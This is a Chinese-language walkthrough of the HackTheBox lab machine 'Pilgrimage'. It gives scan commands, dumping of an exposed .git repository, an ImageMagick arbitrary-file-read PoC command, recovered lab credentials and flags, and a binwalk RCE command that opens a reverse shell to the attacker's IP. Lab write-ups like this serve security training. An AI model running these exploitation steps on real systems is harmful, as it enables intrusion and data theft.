靶机介绍
来自HackTheBox,名称:Pilgrimage,靶机难度:easy
信息收集
主机探测
ping靶机IP地址10.10.11.219,目标存活
端口扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.11.219
可知开放22,80端口
版本探测
sudo nmap -sT -sC -sV -O -p 22,80 10.10.11.219
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
跑的大概是Linux系统
漏洞扫描
sudo nmap -sT --script=vuln -p 22,80 10.10.11.219
没有发现明显的漏洞
渗透过程
修改hosts
访问80端口,发现自动跳转到http://pilgrimage.htb/,无法访问。
修改/etc/hosts将http://pilgrimage.htb/解析为10.10.11.219,再次访问显示正常。
信息泄露
主页面可以上传文件,但是并无文件上传漏洞,白名单过滤。
使用dirsearch进行目录扫描
sudo dirsearch -u http://pilgrimage.htb/,发现.git文件夹,并且有些文件是可以正常访问的。
安装git-dumper
pip3 install git-dumper
创建软链接
sudo ln -s /home/kali/.local/bin/git-dumper /usr/local/bin/git-dumper
使用git-dumper下载
git-dumper http://pilgrimage.htb/.git/ dump
查看dashboard.php,获取到数据库是使用的sqlite,db位置/var/db/pilgrimage
同时目录下还有magick,这里的magick就是imagemagic,是一个创建、编辑、合成或转换位图图像的软件套件和库
使用./magick -usage查看版本号
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
任意文件读取
使用searchsploit查询nday漏洞,发现该版本存在任意文件读取漏洞。
获取poc,尝试利用该漏洞获取sqlite的db文件。
sudo python3 poc.py generate -i th.png -o poc.png -r /var/db/pilgrimage
上传图片到网站,然后下载图片,这里请自行查看漏洞原理。
使用identify -verbose获取图片的元数据
查看内容,可以看到得到的数据应该是16进制
编写python脚本,去除每行换行符,然后将16进制转换为二进制数据,最后得到sql.db
使用Navicat for sqlite打开sql.db文件
得到一组用户名密码
emily abigchonkyboi123
SSH登录
使用emily abigchonkyboi123进行ssh登录
在家目录下找到第一个flag 3a118747db09f52052559441fcab56b3
权限提升
使用ps aux|grep root查看root权限的进程,发现一个执行sh文件的任务/usr/sbin/malwarescan.sh
查看内容发现是一个bash脚本,功能是在"/var/www/pilgrimage.htb/shrunk/"目录下监控新创建的文件。每当有新文件被创建,它会使用"binwalk"命令检查这个文件。如果文件包含在黑名单列表("Executable script"或"Microsoft executable")中的任何内容,那么这个文件就会被删除。
使用searchsploit查看binwalk是否存在nday漏洞,发现一个RCE。
使用该py脚本生成一个图片
sudo python3 51249.py th.png 10.10.14.35 4444
Kali开启监听和httpserver来传文件
靶机用wget来接收文件
将文件复制到/var/www/pilgrimage.htb/shrunk目录下,成功提权,获取
第二个flag 0eff2e6ef4b4413c0223157e43bc216a
总结
通过信息泄露得到项目部分源码,然后利用imagemagic的任意文件读取漏洞读取sqlite的db文件,获取user表里的用户名和密码,利用该密码登录到ssh,最后通过一个监控任务里的binwalk的RCE漏洞提权。